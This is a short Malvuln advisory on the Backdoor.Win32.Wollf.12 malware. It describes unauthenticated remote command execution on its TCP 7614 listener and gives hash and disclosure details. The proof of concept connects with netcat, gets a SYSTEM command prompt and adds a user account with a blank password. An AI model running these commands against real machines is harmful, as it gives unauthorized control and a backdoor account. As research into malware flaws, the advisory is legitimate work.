Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Wollf.12  
Vulnerability: Unauthenticated Remote Command Execution   
Description: The malware listens on TCP port 7614 and drops an executable named "wrm.exe" that runs with SYSTEM integrity. Third-party attackers who can reach the system can connect, switch to DOS prompt mode and run any OS commands re-compromising the already infected system.  
Type: PE32  
MD5: 911e63e28b1d177120cca16eacf3b602  
Vuln ID: MVID-2021-0239  
Dropped files: wrm.exe   
Disclosure: 06/06/2021  
nc64.exe x.x.x.x 7614  
"Wollf Remote Manager" v1.2  
Code by wollf,  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
C:\WINDOWS\system32>net user hyp3rlinx "" /add  
net user hyp3rlinx "" /add  
net user hyp3rlinx "" /add  
The command completed successfully.  
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